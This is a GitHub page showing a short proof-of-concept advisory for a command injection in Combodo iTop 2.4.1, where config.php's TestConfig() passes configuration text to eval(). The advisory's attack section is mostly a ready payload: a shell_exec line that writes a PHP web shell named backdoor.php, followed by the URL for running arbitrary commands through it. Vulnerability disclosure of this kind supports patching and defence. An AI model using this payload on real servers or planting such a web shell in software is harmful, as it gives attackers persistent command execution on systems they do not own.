Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
POC/itop_command_injection_1.txt
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
18 lines (14 sloc)
1018 Bytes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Product: iTop | |
| Vendor: Combodo | |
| Vulnerable Version(s): 2.4.1 and probably prior | |
| Tested Version: 2.4.1 | |
| Vulnerability Type: Command injection | |
| Risk Level: High | |
| CVSSv3 Base Score: 8.4 [CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H] | |
| Discovered by : Ayoub ARBAH | |
| ----------------------------------------------------------------------------------------------- | |
| The source code file http://[host]/itop/web/env-production/itop-config/config.php contains a function called TestConfig() that calls the vulnerable function eval(). | |
| To exploit this vulnerability the attacker must have the administrator priviledge and add the folowing script to the plateform configuration at this URL : http://[host]/itop/web/env-production/itop-config/config.php | |
| shell_exec('echo "<pre><?php echo shell_exec($_GET[\'cmd\']);?></pre>" > backdoor.php'); | |
| After applying the new configuration, the attacker can execute arbitirary commands by accesing the folowing link : | |
| http://[host]/itop/web/env-production/itop-config/backdoor.php?cmd=[command] |